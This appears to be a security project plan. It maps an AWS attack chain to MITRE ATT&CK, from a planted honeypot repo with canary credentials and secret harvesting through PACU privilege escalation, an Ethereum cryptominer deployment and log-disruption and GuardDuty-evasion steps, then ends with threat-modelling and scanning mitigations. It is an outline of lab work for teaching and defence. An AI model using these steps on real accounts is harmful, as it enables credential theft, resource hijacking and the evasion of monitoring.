## Objectives

* Codify exploitable infrastructure misconfigurations in a Terraform template
* Provision an intentionally vulnerable template
* Deploy a CloudFormation template to provision AWS resources to mine Ethereum (cryptomining attack)

## Overview with MITRE ATT&CK Enterprise Cloud Matrix Mapping

### Honeypot

* Write intentionally vulnerable HCL code in public repo
  + Add faux credentials/ honey token
    - [Generate faux credentials](https://canarytokens.org/generate#) with Canary Token
    - [Monitor hits](http://canarytokens.org/history?token=nkt34i7mm5ssv8vdwav547ype&auth=58ea8600ea467c81ac8cea24f658bb59)
  + Update GitHub comments to include a juicy keyword for GitDorker
    - Tesla.com
    - Placeholder keyword (narrowing search)
    - Monitor hit increase
  + Update code to replace above credentials with untracked faux credentials
    - Monitor hits, which indicate git log perusal, where credentials remain
* Ensure AWS account has role with AssumeRole permission

### Attack

**Credential Access**/ Reconnaissance: [Unsecured credentials](https://attack.mitre.org/techniques/T1552/)

* Find potential secrets with [GitDorker](https://github.com/obheda12/GitDorker)
  + Search keyword ‘Tesla.com’
    - In live demo, narrow search
      * keyword search parameters: posomielmiel
      * –flag access\_key
      * Add PATs for parallel
      * Dorks file: Access\_key and secret\_key (must add latter to file)
  + Parse spreadsheet results in ‘access\_key’ column
    - Sort columns by ‘NUMBER OF RESULTS’
      * Result includes link to successful search query
        + Link shows codes snippets
* Grab keys
  + Communicate with GitHub API for code snippet results or link**?**
  + Alternate: get repo link and parse it with [TruffleHog](https://github.com/trufflesecurity/trufflehog)
    - Output access\_key to CSV file
    - TruffleHog only finds access\_key, not secret\_key
  + Search **secret\_keys** in repo git log
    - Clone repo locally**? – regex**
    - Original key is in same commit as one prior to access\_key edit
  + Regex to read access\_key in TruffleHog results, secret\_key value and append to a file
    - Dictionary
    - [JSON output available](https://sweetcode.io/how-use-truffle-hog-git-secrets/) –json
    - Regex text after secret\_key = (\*)
      * .strip() spaces in (\*)
      * Write regex to say spaces are optional
      * Parse relevant commit: [commit\_ID]
* Test credentials for with [Boto3](https://boto3.amazonaws.com/v1/documentation/api/latest/index.html)
  + Try/ except sts get-caller-identity
  + Read in ‘access\_key’ and ‘secret\_key’ values and loop through each
    - [May append to ~/.aws/credentials](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html) and switch between profiles
  + Output includes
    - Account (number)
    - UserID (access\_key)
    - ARN: includes access\_key, user/ role name

[**Initial Access**](https://tldrsec.com/blog/lesser-known-aws-attacks/)**:** [**Valid accounts**](https://attack.mitre.org/techniques/T1078/)/ Intrusion/ [Exploitation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md), Elevation, Stealth, Exfiltration

**Discovery:** [**Account discovery**](https://attack.mitre.org/techniques/T1087/)

* Run [PACU](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details) with valid AWS credentials
  + Set keys (import\_keys –all) or import\_keys <ALIAS>
  + [Enumerate IAM roles](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#iam__enum_users) iam\_\_enum\_users

**Discovery:** [**Cloud service discovery**](https://attack.mitre.org/techniques/T1526)

* Find buckets
  + aws s3 ls

**Discovery:** [**Permission Group Discovery**](https://attack.mitre.org/techniques/T1069/)

* Enumerate permissions
  + [**Run**](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#iam__enum_permissions) **iam\_\_enum\_permissions**
    - Gives username
  + Run iam\_\_bruteforce\_permissions
    - Gives services and comprehensive permission list
  + Run iam\_\_enum\_users\_roles\_policies\_groups

**Privilege Escalation:** [Valid Accounts](https://attack.mitre.org/techniques/T1078/https://attack.mitre.org/techniques/T1078/)

* + Escalate privileges with AssumeRole
  + [**Run**](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#iam__privesc_scan) **iam\_\_privesc\_scan** 
    - Create role that is lower

**Discovery:**

* Run [Checkov](https://github.com/bridgecrewio/checkov) to audit deployment?
  + Describe stack programmatically to determine whether or not to do so
    - Get stacks: aws cloudformation describe-stacks
    - See resources: aws cloudformation list-stack-resources --stack-name
  + [Terraform rules](https://www.checkov.io/5.Policy%20Index/terraform.html)
* Deface S3 site?
  + Upload template to S3

aws s3 cp folderpath/ s3://mybucket/path –recursive

* + Have GetObject, PutObject, PutBucketNotification, and GetBucketNotification permissions

**Impact:** [**Resource hijacking**](https://attack.mitre.org/techniques/T1496/)

* Run [Cloudformation cryptominer](https://github.com/mludvig/aws-ethereum-miner) for two minutes ^ ^
  + Update parameters pointing to eth mining address
  + Read mining progress on an [ETH dashboard](https://ethermine.org/)?
  + Run exploit in free tier sandbox AWS account with capacity limits
    - [Add second profile](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html) to aws config
    - Allow AssumeRole on a role
      * Include in TF
      * Codify a non-admin role to escalate privileges from**?**
    - [Deploy template in CLI](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-cfn-cli-creating-stack.html)
      * aws cloudformation deploy --template-file template.yaml --stack-name static-website
      * OR –template-file s3://mybucket/template.yml
    - Confirm stack resources
      * aws cloudformation list-stacks
      * aws cloudformation describe-stacks
    - May need to [increase resource quotas](https://github.com/mludvig/aws-ethereum-miner#increase-resource-quotas)
      * Can do [programmatically](https://docs.aws.amazon.com/systems-manager/latest/userguide/walkthrough-cli.html), if SM is allowed
        + Alternate: [get console access via API keys](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md#aws---gaining-aws-console-access-via-api-keys)
      * Run scripts

sh\_command\_id=$(aws ssm send-command \

--instance-ids "instance-ID" \

--document-name "AWS-RunShellScript" \

--comment "Demo run shell script on Linux Instances" \

--parameters '{"commands":["#!/usr/bin/python","print \"Hello World from python\""]}' \

--output text \

--query "Command.CommandId") sh -c 'aws ssm list-command-invocations \

--command-id "$sh\_command\_id" \

--details \

--query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}"'

* ethminer -P stratums://0x99b36B[...]ECac2c15@us2.ethermine.org:5555

**Defense Evasion:** [**Modify cloud compute infrastructure**](https://attack.mitre.org/techniques/T1578/)

* [Destroy stack programmatically](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-cfn-cli-deleting-stack.html)  
  aws cloudformation delete-stack --stack-name myteststack

**Defense Evasion:** [**Hide artifacts**](https://attack.mitre.org/techniques/T1564/)

* Run [PACU](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details) with valid AWS credentials
  + Swap keys to exploited AWS account with account limits PACU swap\_keys
  + [Clean logs after running exploits](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#detection__disruption) detection\_disruption
    - CloudTrail, CloudWatch alarms, AWS Config, VPC flow logs
    - Disables, deletes or minimizes logs/ monitoring services, disable SNS topics
  + Takes credentials from ~/.aws/credentials
  + Read [Logs](https://github.com/RhinoSecurityLabs/pacu/wiki/Session-Logs-and-Output)
    - Verify stack is down
      * Generate a URL to sign into the AWS console PACU console
    - Verify logs
    - services> data s3
    - Commands: ~/.local/share/pacu/infosec\_capstone/cmd\_log.txt
  + [Avoid GuardDuty detection](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#guardduty__whitelist_ip) guardduty\_whitelist\_ip

**TBD:** [**Persistence**](https://github.com/dagrz/aws_pwn)

* [Create assume-role cross-account trust relationships](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#iam__backdoor_assume_role) Iam\_\_backdor\_assume\_role

### Mitigation

* Run [Threagile](https://github.com/Threagile/threagile)
  + Write threat model in mark-up
    - Assets
    - Use and abuse cases
    - Mitigation
    - Data flows and trust boundaries
  + Deliverables
    - What are you protecting?
    - What can go wrong?
    - What are you going to do about it?
    - Did you do a good job?
  + Features
    - Replicable threat modeling tool
    - Leverages OWASP ASVS, MITRE CWEs and Threagile’s custom risk qualifications: RAA, DLP
* Run Checkov
  + Use rules to filter results
* Run [KICS](https://github.com/Checkmarx/kics)
* Revert to [safer template](https://github.com/Smartbrood/terraform-aws-s3-bucket)
  + May need to clone again
* Extra
  + Configuration management
    - Ansible, Puppet, etc..
    - AWS Config Manager
  + Guard Duty
  + [IAM credentials with MFA](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)

## Future Iterations

* Find tool to visualize templates
  + [CFN to HCL](https://deliveroo.engineering/2020/01/02/CloudFormation-To-Terraform.html)
  + [HCL to CFN](https://stackoverflow.com/questions/47065279/convert-terraform-templates-to-cloudformation-templates)
  + Apply CloudFormation template to [AWS CloudFormation Designer](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/working-with-templates-cfn-designer.html)
* [Qualify risk](https://github.com/vz-risk/VCDB) with Verizon db
* Convert YAML to JSON to parse data